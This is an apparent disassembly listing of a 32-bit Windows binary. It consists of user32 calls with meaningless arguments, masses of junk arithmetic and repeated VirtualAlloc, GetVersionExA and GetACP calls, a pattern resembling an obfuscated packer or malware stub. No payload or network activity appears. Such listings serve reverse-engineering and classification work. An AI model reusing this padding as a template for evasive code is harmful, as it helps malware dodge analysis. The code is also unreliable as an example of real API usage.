call dword [sym.imp.user32.dll_PostMessageA]
push 0xc
push 0x17
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x5d
lea edi, [ebp - 0x24]
push edi
push 0x79
call dword [sym.imp.user32.dll_MessageBoxA]
lea edi, [ebp - 0x2c]
push edi
push 0x7d
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x7b
push 0x1a
call dword [sym.imp.user32.dll_OffsetRect]
push 0x32
lea edi, [ebp - 0x18]
push edi
push 0x2f
push edx
call dword [sym.imp.user32.dll_LoadBitmapA]
push 2
push 0x10
push edi
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 9
lea eax, [ebp - 0x1c]
push eax
push 0x68
push edx
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x39
push 0x7c
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x5d
push 0x22
push 0x4f
push eax
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x54
push ecx
call dword [sym.imp.user32.dll_MessageBeep]
push 0x72
lea edi, [ebp - 0x18]
push edi
push 0x69
push 0x39
call dword [sym.imp.user32.dll_SetActiveWindow]
lea edx, [ebp - 0x18]
push edx
push 0x21
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x4d
push 0x75
call dword [sym.imp.user32.dll_PostMessageA]
lea edi, [ebp - 0x1c]
push edi
push 0x47
push 0xb
call dword [sym.imp.user32.dll_PeekMessageA]
push ecx
call dword [sym.imp.user32.dll_RemovePropA]
push 0x4e
push eax
call dword [sym.imp.user32.dll_ScrollWindow]
push edi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x6a
push 0x21
lea edi, [ebp - 0x18]
push edi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x27
push 0x20
lea ecx, [ebp - 0x1c]
push ecx
push 0x36
push edi
call dword [sym.imp.user32.dll_SendMessageW]
lea edi, [ebp - 0x2c]
push edi
push 6
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x6d
push esi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x48
lea esi, [ebp - 0x18]
push esi
push 0x29
push 0x69
push edi
call dword [sym.imp.user32.dll_PostMessageA]
push 0x60
lea edx, [ebp - 0x20]
push edx
push 0x38
push 0x47
push ecx
call dword [sym.imp.user32.dll_MapWindowPoints]
push edi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 8
lea edi, [ebp - 0x18]
push edi
push 0x33
push 0x4b
push edi
call dword [sym.imp.user32.dll_PostMessageA]
lea esi, [ebp - 0x2c]
push esi
push 0x72
push 0x15
push ecx
call dword [sym.imp.user32.dll_LoadIconA]
push 0x1d
push 0x53
push 0x12
push edx
call dword [sym.imp.user32.dll_PeekMessageW]
push 0xa
lea ecx, [ebp - 0x28]
push ecx
push 1
push eax
call dword [sym.imp.user32.dll_RedrawWindow]
lea ecx, [ebp - 0x1c]
push ecx
push 0x6b
push 0x1a
call dword [sym.imp.user32.dll_LoadIconA]
push 0x5b
push 0x25
lea ecx, [ebp - 0x2c]
push ecx
push 0x78
call dword [sym.imp.user32.dll_ReleaseDC]
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x58
push 0x10
push 0x20
call dword [sym.imp.user32.dll_RegisterClassA]
lea esi, [ebp - 0x28]
push esi
push 0x15
push 0x19
push edi
call dword [sym.imp.user32.dll_PostMessageA]
push 0x3f
push 0xc
push 0x60
push esi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x3b
lea ecx, [ebp - 0x20]
push ecx
push 0x18
push esi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
invalid
push 2
push 0x2000
push 0x500
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov di, 0xcb
mov di, 4
mov edx, 0x5e
lea edi, [ebp - 0x1c]
mov edi, ecx
mov ecx, dword [esp]
mov edi, 0x16
lea edi, [ebp - 0x24]
mov edi, edx
mov esi, edi
lea edx, [ebp - 0x28]
sub dword [ebp - 0x20], 0x44
sub dword [ebp - 0x28], 0xdd00dddd
mov ecx, dword [esp]
mov edi, dword [ebp]
and dword [ebp - 0x1c], 0x33333333
and dword [ebp - 0x2c], 0xff
mov dword [ebp - 0x20], 0x80
mov si, 0x20
and dword [ebp - 0x20], 0x11001111
lea esi, [esp]
mov edx, 4
lea edx, [esp]
sub dword [ebp - 0x20], 0xaa00aaaa
lea edi, [ebp - 0x18]
mov ax, 0x10
xor dword [ebp - 0x2c], 0xff00ff
and dword [ebp - 0x18], 0xdd0000dd
and dword [ebp - 0x18], 0x550055
lea ecx, [ebp - 0x2c]
mov edi, edx
sub ecx, ecx
and dword [ebp - 0x20], 0xff00ff
xor edx, edx
mov dword [ebp - 0x24], edx
lea esi, [ebp - 0x20]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp]
mov edi, 0x20
mov eax, dword [ebp]
mov edi, dword [esp]
mov edi, dword [ebp]
lea eax, [esp]
mov edx, 0x3f
lea edi, [esp]
mov dword [ebp - 0x28], ecx
mov di, 0x3a
lea eax, [ebp]
and dword [ebp - 0x2c], 0xee
xor ecx, ecx
mov edi, ecx
and dword [ebp - 0x20], 0x33333333
mov eax, dword [ebp]
sub ecx, ecx
mov si, 2
mov esi, dword [ebp]
lea edi, [ebp - 0x2c]
and dword [ebp - 0x1c], 0xff0000ff
xor dword [ebp - 0x20], 0x880088
mov dword [ebp - 0x20], edx
lea ecx, [esp]
add dword [ebp - 0x24], 0xcccccc
mov dword [ebp - 0x28], 2
mov di, 4
and dword [ebp - 0x1c], 0x880088
lea edx, [esp]
sub dword [ebp - 0x28], 0x440044
sub dword [ebp - 0x2c], 0x99000099
xor dword [ebp - 0x18], 0xdd0000dd
push 4
push 0x4000
push 0x200
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x20], edx
mov edi, dword [ebp]
mov ecx, dword [esp]
lea edx, [ebp]
lea eax, [ebp - 0x28]
mov edi, eax
mov eax, 2
or dword [ebp - 0x24], 0x22220022
mov edx, dword [ebp - 0x2c]
sub dword [ebp - 0x24], 0x770077
mov si, 0x7b
mov edi, dword [ebp - 0x2c]
lea edi, [ebp - 0x18]
mov ecx, dword [esp]
xor edx, edx
mov edx, dword [esp]
mov dword [ebp - 0x18], 0
add dword [ebp - 0x20], 0x99999999
add dword [ebp - 0x2c], 0x88880088
mov dword [ebp - 0x2c], edx
mov di, 2
sub esi, esi
mov edx, dword [ebp]
lea edi, [esp]
xor dword [ebp - 0x24], 0x33333333
sub edi, edi
lea esi, [esp]
mov eax, edx
mov eax, dword [esp]
mov edi, 2
mov dword [ebp - 0x1c], eax
mov esi, 0x70
mov edx, eax
mov edx, 0x300
mov eax, 0x200
xor edx, edx
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea edx, [ebp]
mov edi, 0x80
lea eax, [esp]
mov ecx, 0x4f
mov edi, 0x14
mov di, 4
mov di, 4
mov dword [ebp - 0x24], esi
lea edi, [esp]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x80
lea ecx, [esp]
and dword [ebp - 0x20], 0xdddd
mov ecx, edi
mov esi, dword [esp]
lea edi, [ebp]
and dword [ebp - 0x28], 0x99990099
mov esi, edi
lea edx, [ebp - 0x2c]
mov esi, edi
mov ecx, edi
or dword [ebp - 0x24], 0x110011
mov ecx, dword [ebp - 0x20]
xor edi, edi
and dword [ebp - 0x24], 0xaaaa
mov edi, eax
mov edi, 0x40
mov esi, dword [esp]
sub dword [ebp - 0x2c], 0x5555
mov dword [ebp - 0x2c], edi
and dword [ebp - 0x20], 0xff
mov edi, dword [ebp]
lea edi, [ebp - 0x24]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [ebp]
mov si, 8
mov di, 0xe1
mov si, 2
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x1c], esi
mov edx, 0x10
lea edi, [ebp]
mov cx, 8
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x18]
mov di, 4
lea edi, [esp]
xor dword [ebp - 0x28], 0xaa0000aa
mov dword [ebp - 0x1c], 8
sub dword [ebp - 0x18], 0x5555
or dword [ebp - 0x18], 0xaa00aaaa
add dword [ebp - 0x18], 0xdd
xor dword [ebp - 0x2c], 0xbb00bbbb
xor dword [ebp - 0x2c], 0x88000088
mov edx, dword [esp]
lea esi, [ebp]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], esi
mov ecx, dword [esp]
or dword [ebp - 0x2c], 0xff0000ff
xor ecx, ecx
push 2
push 0x4000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [esp]
mov edi, dword [ebp - 0x1c]
lea edi, [ebp - 0x2c]
mov edi, dword [esp]
mov si, 0x5c
mov cx, 0x7f
mov edx, dword [esp]
mov dx, 0xd4
mov dword [ebp - 0x24], 0x7e
mov eax, dword [esp]
xor edx, edx
add dword [ebp - 0x2c], 0xbbbbbbbb
lea ecx, [esp]
mov dword [ebp - 0x24], 0x72
lea edi, [ebp]
mov dword [ebp - 0x24], edi
mov edi, 0xb3
xor esi, esi
lea eax, [ebp]
mov eax, edx
lea edi, [ebp]
mov dword [ebp - 0x2c], edi
mov esi, dword [ebp]
mov esi, eax
sub dword [ebp - 0x1c], 0x666666
or dword [ebp - 0x28], 0xaa
lea edx, [esp]
xor dword [ebp - 0x18], 0x99990099
push 8
push 0x2000
push 0x400
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov di, 1
lea eax, [esp]
mov esi, edx
mov dword [ebp - 0x28], eax
lea edi, [esp]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], eax
lea edi, [esp]
lea eax, [esp]
sub dword [ebp - 0x28], 0x88008888
sub dword [ebp - 0x24], 0xaaaa00aa
sub edi, edi
sub ecx, ecx
mov esi, edi
mov ax, 8
mov cx, 2
lea edx, [ebp]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
mov edi, 0x20
lea edi, [esp]
mov edi, ecx
or dword [ebp - 0x18], 0x44000044
and dword [ebp - 0x24], 0x55005555
and dword [ebp - 0x24], 0xcc00cc
lea edi, [esp]
mov edx, ecx
mov edi, dword [ebp]
xor edi, edi
mov esi, dword [ebp - 0x28]
add dword [ebp - 0x28], 0x33
mov eax, dword [esp]
mov eax, dword [ebp]
sub dword [ebp - 0x18], 0xff00ffff
push 8
push 0x4000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov di, 0x13
mov edi, dword [esp]
mov ax, 0xb2
mov eax, dword [ebp]
mov ecx, 0x10
mov edx, 0x10
mov dword [ebp - 0x2c], eax
lea edi, [esp]
sub eax, eax
sub edi, edi
add dword [ebp - 0x1c], 0xaaaaaa
mov dword [ebp - 0x18], edx
mov ecx, dword [ebp - 0x24]
and dword [ebp - 0x18], 0x4444
add dword [ebp - 0x28], 0xdddd
mov edi, eax
xor edx, edx
mov eax, 1
xor dword [ebp - 0x28], 0xffffff
mov eax, 8
lea edx, [esp]
mov ecx, dword [ebp]
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp]
add dword [ebp - 0x1c], 0xcc0000cc
and dword [ebp - 0x1c], 0xeeee00ee
sub dword [ebp - 0x24], 0xdd
mov eax, edx
lea esi, [esp]
mov edi, dword [esp]
mov dword [ebp - 0x1c], ecx
mov edx, edi
push 8
push 0x2000
push 0xc00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [ebp - 0x20]
mov edi, 0xf0
lea eax, [ebp]
mov edi, dword [esp]
mov edi, eax
lea edi, [ebp]
mov dword [ebp - 0x18], eax
mov eax, dword [esp]
lea esi, [ebp]
mov dword [ebp - 0x2c], esi
sub edx, edx
mov esi, dword [ebp]
lea edi, [esp]
and dword [ebp - 0x20], 0x6666
and dword [ebp - 0x20], 0xaa00aa
mov edi, edx
mov dword [ebp - 0x2c], 0xdf
mov cx, 0x2e
sub dword [ebp - 0x24], 0x777777
xor dword [ebp - 0x18], 0x66006666
sub edi, edi
and dword [ebp - 0x28], 0xcc00cccc
mov edx, edi
mov edi, dword [ebp]
and dword [ebp - 0x2c], 0x444444
lea esi, [ebp - 0x28]
add dword [ebp - 0x28], 0xffffffff
sub esi, esi
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea edx, [ebp - 0x24]
mov edi, 0xd
lea edi, [ebp - 0x2c]
lea eax, [ebp - 0x1c]
mov ax, 0x34
mov edx, edi
lea edi, [ebp]
mov edx, 0x46
mov edx, 0x7b
or dword [ebp - 0x2c], 0x66006666
lea edi, [esp]
mov ecx, dword [ebp - 0x20]
or dword [ebp - 0x20], 0x77000077
and dword [ebp - 0x18], 0x55
mov ax, 0x12
lea edi, [ebp]
add dword [ebp - 0x18], 0x11110011
mov edx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
sub edi, edi
mov edx, dword [esp]
and dword [ebp - 0x20], 0x77007777
and dword [ebp - 0x24], 0x99009999
xor edi, edi
mov si, 0x80
mov edi, dword [ebp]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], ecx
lea eax, [ebp]
mov dword [ebp - 0x20], esi
mov edi, dword [esp]
mov edx, dword [ebp]
mov edi, dword [esp]
push 2
push 0x2000
push 0x200
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea esi, [ebp - 0x1c]
mov di, 0x40
mov dword [ebp - 0x18], eax
mov edx, ecx
lea edx, [esp]
lea edx, [ebp]
mov dword [ebp - 0x2c], edi
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp]
mov dword [ebp - 0x28], esi
lea edi, [ebp - 0x28]
mov edi, dword [esp]
mov edi, dword [ebp]
sub dword [ebp - 0x18], 0x990099
and dword [ebp - 0x2c], 0x888888
sub dword [ebp - 0x28], 0x44000044
mov esi, 0xb0
lea edx, [esp]
mov esi, dword [ebp]
and dword [ebp - 0x24], 0x6666
mov esi, edi
mov di, 0x3d
mov dword [ebp - 0x20], eax
and dword [ebp - 0x28], 0x55555555
mov cx, 2
mov dword [ebp - 0x20], 0xb5
xor dword [ebp - 0x18], 0x55550055
and dword [ebp - 0x24], 0xff0000ff
xor dword [ebp - 0x28], 0x55555555
mov eax, dword [esp]
mov edx, 0
sub dword [ebp - 0x18], 4
xor ecx, ecx
mov cx, 0x20
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], esi
mov edi, esi
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x28], esi
lea ecx, [ebp]
mov edx, dword [ebp - 0x1c]
and dword [ebp - 0x18], 0xbb00bbbb
lea edi, [ebp]
lea edx, [ebp]
mov di, 0x7c
lea ecx, [esp]
mov ax, 0x36
mov dword [ebp - 0x18], edi
sub dword [ebp - 0x1c], 0xcc0000cc
lea esi, [ebp - 0x28]
mov esi, dword [ebp - 0x1c]
add dword [ebp - 0x20], 0xaa
mov edx, 1
mov dword [ebp - 0x28], edx
mov ecx, dword [ebp]
xor eax, eax
mov esi, 0x40
and dword [ebp - 0x1c], 0x44440044
mov cx, 0x4e
mov ecx, dword [ebp - 0x24]
or dword [ebp - 0x18], 0x660066
sub edi, edi
mov edi, 1
add dword [ebp - 0x24], 0xee0000ee
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], 8
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea eax, [esp]
lea edi, [esp]
lea ecx, [ebp - 0x18]
lea edi, [esp]
mov edi, eax
mov dword [ebp - 0x20], edx
mov edi, dword [esp]
lea eax, [esp]
mov eax, dword [ebp - 0x2c]
sub edi, edi
lea esi, [esp]
mov edi, dword [ebp]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
lea eax, [ebp]
lea edx, [ebp]
mov edi, ecx
mov ax, 0x33
lea edi, [esp]
add dword [ebp - 0x18], 0xeeeeeeee
sub edi, edi
mov edi, dword [ebp - 0x1c]
or dword [ebp - 0x2c], 0xbb
sub ecx, ecx
add dword [ebp - 0x20], 0xdd
mov edi, dword [ebp - 0x1c]
sub esi, esi
sub dword [ebp - 0x24], 0xee
lea ecx, [ebp - 0x18]
sub eax, eax
mov dword [ebp - 0x28], 0x67
add dword [ebp - 0x1c], 0x37
sub dword [ebp - 0x18], 8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0x66
cmp eax, 0x59
jbe 0x40395e
mov ecx, 0
mov dword [ebp - 0x20], 3
and dword [ebp - 0x20], 0xff00ff
lea eax, [ebp - 0x24]
and dword [ebp - 0x28], 0xffff
push 2
push 0x2000
push 0x500
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dx, 0x7d
lea edi, [ebp - 0x20]
lea edx, [ebp]
mov edi, eax
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp]
mov si, 0x74
mov ecx, dword [ebp]
lea edi, [esp]
and dword [ebp - 0x18], 0x7777
mov esi, dword [esp]
lea eax, [ebp - 0x18]
mov eax, 0x61
mov edi, dword [esp]
mov dword [ebp - 0x1c], 0xa1
lea ecx, [ebp]
xor dword [ebp - 0x20], 0xbbbb00bb
add dword [ebp - 0x2c], 0x990099
sub edi, edi
mov dword [ebp - 0x18], 0xb8
or dword [ebp - 0x28], 0xcccc00cc
and dword [ebp - 0x18], 0x77770077
lea eax, [ebp]
lea edi, [esp]
mov edi, dword [ebp]
mov ax, 0xc
lea ecx, [esp]
mov eax, 0xf1
xor dword [ebp - 0x28], 0xbb
xor eax, eax
push 2
push 0x8000
push 0x200
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, dword [esp]
mov eax, dword [ebp]
mov edx, edi
mov dx, 1
mov dword [ebp - 0x2c], edi
mov si, 0xac
lea edi, [esp]
lea edi, [ebp]
mov edi, dword [esp]
mov edi, dword [esp]
lea esi, [ebp]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0xcf
lea ecx, [ebp]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], 2
sub edx, edx
mov dx, 0x10
or dword [ebp - 0x1c], 0xffff
mov edi, esi
sub dword [ebp - 0x20], 0x220022
mov edi, dword [esp]
add dword [ebp - 0x18], 0x222222
mov di, 5
mov dword [ebp - 0x2c], 0x80
mov eax, 0
lea eax, [esp]
lea esi, [ebp]
mov dword [ebp - 0x28], 0x40
lea edx, [ebp]
mov ecx, dword [esp]
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov edx, 0
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov dword [ebp - 0x2c], ecx
lea edi, [ebp]
mov di, 0xb5
lea edx, [ebp]
mov di, 0x75
mov esi, eax
mov ecx, dword [ebp]
lea eax, [ebp]
mov edi, 0xe6
and dword [ebp - 0x20], 0x333333
or dword [ebp - 0x20], 0x77007777
mov edx, dword [ebp]
and dword [ebp - 0x24], 0xcccccc
lea edi, [ebp]
mov dword [ebp - 0x18], 0x10
xor dword [ebp - 0x20], 0xcc
sub dword [ebp - 0x24], 0x660066
sub dword [ebp - 0x20], 0x55000055
and dword [ebp - 0x18], 0xaaaaaaaa
xor eax, eax
mov esi, dword [ebp - 0x24]
mov ecx, 1
mov dword [ebp - 0x20], 0xbf
lea edi, [ebp - 0x20]
sub esi, esi
mov eax, dword [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x1c], 1
push 4
push 0x4000
push 0x300
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov si, 0xf7
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x18]
mov esi, dword [esp]
mov edi, dword [esp]
mov edx, dword [esp]
mov ecx, dword [esp]
lea esi, [ebp]
mov dword [ebp - 0x20], edi
mov edx, edi
sub ecx, ecx
lea edx, [ebp]
mov dword [ebp - 0x2c], 0x5c
lea ecx, [ebp - 0x24]
add dword [ebp - 0x20], 0xaaaaaa
mov edi, dword [ebp - 0x1c]
xor ecx, ecx
add dword [ebp - 0x18], 0x330033
mov eax, edi
and dword [ebp - 0x20], 0xee0000ee
lea edi, [esp]
xor edi, edi
and dword [ebp - 0x18], 0xffff
xor edi, edi
and dword [ebp - 0x18], 0x55000055
or dword [ebp - 0x24], 0x4444
xor edx, edx
and dword [ebp - 0x28], 0x22220022
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x2c], eax
je 0x403bb2
sub edx, edx
or dword [ebp - 0x28], 0xff
test eax, eax
jb 0x403bb2
sub eax, eax
sub eax, eax
push 4
push 0x8000
push 0xf00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov di, 0xd8
mov eax, 1
mov edi, dword [ebp]
lea edx, [ebp - 0x24]
mov edi, dword [ebp - 0x20]
mov edi, dword [esp]
mov eax, 0x34
lea edi, [esp]
mov edi, dword [esp]
mov esi, dword [ebp - 0x18]
add dword [ebp - 0x28], 0x9999
mov dword [ebp - 0x2c], esi
mov eax, dword [esp]
mov ecx, 2
lea eax, [ebp]
mov ecx, dword [esp]
sub edx, edx
and dword [ebp - 0x24], 0x3333
add dword [ebp - 0x1c], 0xee
mov edi, 0x83
sub edi, edi
and dword [ebp - 0x28], 0x6666
mov edx, dword [ebp]
add dword [ebp - 0x28], 0x88880088
mov dx, 8
and dword [ebp - 0x24], 0xaaaa
lea esi, [ebp]
mov edi, eax
and dword [ebp - 0x18], 0xbbbb
xor dword [ebp - 0x20], 0xbbbb
mov edx, 0x80
xor dword [ebp - 0x18], 0xffffff
xor dword [ebp - 0x1c], 0x77007777
mov dx, 1
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov dword [ebp - 0x20], esi
mov edi, dword [ebp]
mov edi, 0x49
lea edi, [ebp - 0x20]
mov eax, 0x20
mov esi, dword [ebp - 0x2c]
mov edx, 0x12
mov dx, 0xf2
and dword [ebp - 0x28], 0xdd00dddd
mov ax, 0xfd
xor edi, edi
mov esi, dword [ebp]
mov cx, 1
or dword [ebp - 0x24], 0xaaaaaaaa
lea eax, [ebp]
lea ecx, [esp]
add dword [ebp - 0x24], 0x66666666
lea edx, [esp]
mov edi, dword [esp]
and dword [ebp - 0x20], 0xff00ffff
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], esi
and dword [ebp - 0x1c], 0x44440044
lea esi, [ebp - 0x1c]
lea edi, [ebp]
mov edi, 0xa3
mov edi, 0x20
lea eax, [ebp - 0x2c]
lea esi, [ebp]
add dword [ebp - 0x1c], 0x44004444
mov edx, eax
sub eax, eax
mov ecx, pe_nt_image_headers32
mov eax, dword [ebp - 0x2c]
xor dword [ebp - 0x20], 0xffffff
or dword [ebp - 0x1c], 0xffffff
xor dword [ebp - 0x18], 0xffff
push 8
push 0x8000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov si, 0xb4
lea esi, [esp]
mov si, 0xb
lea ecx, [ebp - 0x28]
mov eax, dword [ebp]
lea esi, [ebp]
lea esi, [ebp - 0x1c]
mov ecx, 0x20
and dword [ebp - 0x2c], 0x77777777
mov edi, dword [ebp]
mov dword [ebp - 0x18], 0x81
mov ax, 0xe9
mov eax, dword [esp]
mov dword [ebp - 0x28], esi
mov edx, dword [esp]
mov edx, dword [ebp - 0x18]
xor dword [ebp - 0x18], 0xeeeeee
mov dword [ebp - 0x28], eax
mov eax, 8
mov edx, dword [ebp - 0x24]
mov eax, dword [esp]
mov ecx, dword [esp]
add dword [ebp - 0x24], 0x9999
lea esi, [esp]
mov dword [ebp - 0x2c], edi
mov di, 0x80
xor eax, eax
lea ecx, [ebp]
add dword [ebp - 0x1c], 0xdddd00dd
lea edi, [esp]
mov edi, dword [ebp]
sub dword [ebp - 0x1c], 0x9999
mov edi, 1
mov dword [ebp - 0x18], 1
push 2
push 0x2000
push 0x200
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea esi, [ebp - 0x24]
mov eax, dword [ebp]
mov eax, dword [ebp]
lea edi, [ebp - 0x1c]
mov di, 0x40
mov ecx, dword [esp]
mov edi, 0xaa
mov ecx, dword [esp]
mov esi, dword [ebp - 0x2c]
add dword [ebp - 0x20], 0x22222222
mov dword [ebp - 0x24], edi
mov esi, edi
sub edi, edi
mov dword [ebp - 0x2c], 0x1f
sub edi, edi
lea ecx, [ebp - 0x20]
mov ecx, dword [ebp]
mov dword [ebp - 0x20], edx
mov edi, 0xf9
mov ecx, dword [ebp]
add dword [ebp - 0x1c], 0xbbbbbbbb
sub dword [ebp - 0x1c], 0x44
mov dx, 0x69
mov eax, dword [esp]
mov edi, 4
mov edi, dword [ebp]
or dword [ebp - 0x28], 0x44004444
mov eax, 0x40
xor dword [ebp - 0x24], 0xbbbb
and dword [ebp - 0x28], 0xdd00dddd
mov edx, esi
mov eax, 0x20
xor dword [ebp - 0x24], 0x66660066
mov edx, 0
mov dword [ebp - 0x24], 0x6e
sub edx, edx
cmp dword [ebp - 0x2c], edx
ja 0x403e5e
mov ecx, 0x300
test edx, edx
jbe 0x403e5e
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea edx, [esp]
mov di, 0x10
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov dx, 0xeb
lea edi, [ebp]
mov dword [ebp - 0x2c], eax
mov eax, dword [esp]
and dword [ebp - 0x20], 0x88000088
lea esi, [esp]
add dword [ebp - 0x18], 0x2222
mov dword [ebp - 0x24], 0xf9
mov ax, 0x80
mov dword [ebp - 0x20], 0x61
mov dword [ebp - 0x28], ecx
mov ecx, esi
lea edi, [ebp]
mov edx, dword [esp]
sub dword [ebp - 0x1c], 0xcccccc
sub dword [ebp - 0x18], 0xff00ff
mov edx, dword [esp]
and dword [ebp - 0x24], 0x99009999
mov dword [ebp - 0x2c], ecx
lea edx, [esp]
lea edi, [esp]
sub ecx, ecx
add dword [ebp - 0x28], 0x55555555
mov edi, dword [ebp]
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea esi, [ebp]
lea edi, [ebp]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov edx, dword [ebp]
lea edi, [ebp]
lea esi, [ebp]
lea edi, [esp]
mov dword [ebp - 0x28], 0x10
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x10
mov dword [ebp - 0x28], esi
sub dword [ebp - 0x28], 0xff0000ff
lea eax, [ebp - 0x1c]
sub edx, edx
and dword [ebp - 0x18], 0x990099
mov edi, dword [ebp - 0x20]
lea edx, [ebp - 0x2c]
mov edi, dword [ebp]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 1
mov edi, dword [ebp - 0x24]
add dword [ebp - 0x1c], 0xdd0000dd
mov cx, 0x54
mov dword [ebp - 0x18], 0xae
mov edi, dword [ebp]
mov edi, 0x80
mov dword [ebp - 0x18], 0xd5
mov dword [ebp - 0x1c], 0x80
lea edi, [ebp - 0x18]
push 2
push 0x4000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dx, 0x24
mov edi, dword [ebp - 0x18]
mov ax, 8
lea ecx, [ebp]
lea edi, [ebp]
mov dword [ebp - 0x24], esi
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x28], edx
lea edx, [ebp]
xor dword [ebp - 0x1c], 0xeeeeee
mov ecx, dword [ebp]
mov edi, dword [esp]
mov dword [ebp - 0x1c], 0x10
and dword [ebp - 0x18], 0xaa00aa
add dword [ebp - 0x18], 0x440044
mov esi, dword [esp]
mov dword [ebp - 0x24], 2
add dword [ebp - 0x28], 0xdddd
and dword [ebp - 0x20], 0x1111
lea esi, [ebp - 0x18]
xor dword [ebp - 0x2c], 0xee00ee
xor edi, edi
sub edi, edi
mov edi, 8
xor dword [ebp - 0x28], 0x3333
mov ecx, dword [ebp]
mov edi, dword [esp]
mov ecx, dword [ebp]
mov esi, dword [ebp]
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov esi, 0x20
lea esi, [esp]
mov dword [ebp - 0x28], ecx
lea esi, [esp]
mov dword [ebp - 0x28], edx
mov edi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
lea esi, [ebp]
sub dword [ebp - 0x20], 0x444444
xor dword [ebp - 0x2c], 0x44440044
mov edi, dword [ebp]
sub edx, edx
and dword [ebp - 0x24], 0x7777
lea ecx, [ebp - 0x28]
mov eax, edx
sub edi, edi
mov cx, 4
lea ecx, [ebp]
add dword [ebp - 0x28], 0x880088
and dword [ebp - 0x24], 0x44
mov edi, dword [ebp]
mov ecx, dword [esp]
and dword [ebp - 0x1c], 0x550055
mov di, 0x7f
mov di, 0x9b
mov edx, dword [ebp - 0x28]
add dword [ebp - 0x20], 0x22222222
lea ecx, [esp]
or dword [ebp - 0x20], 0x880088
sub dword [ebp - 0x1c], 0x88000088
lea esi, [ebp - 0x18]
mov edx, dword [ebp - 0x18]
xor edx, edx
xor edx, edx
test edx, edx
je 0x40408d
mov eax, 0xc8
cmp edx, 0
jbe 0x404094
mov dword [ebp - 0x24], 0x40
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea edi, [ebp - 0x18]
mov edi, 0x17
lea ecx, [ebp - 0x24]
lea ecx, [ebp]
mov ecx, dword [esp]
lea edi, [ebp]
lea eax, [ebp - 0x20]
lea edi, [esp]
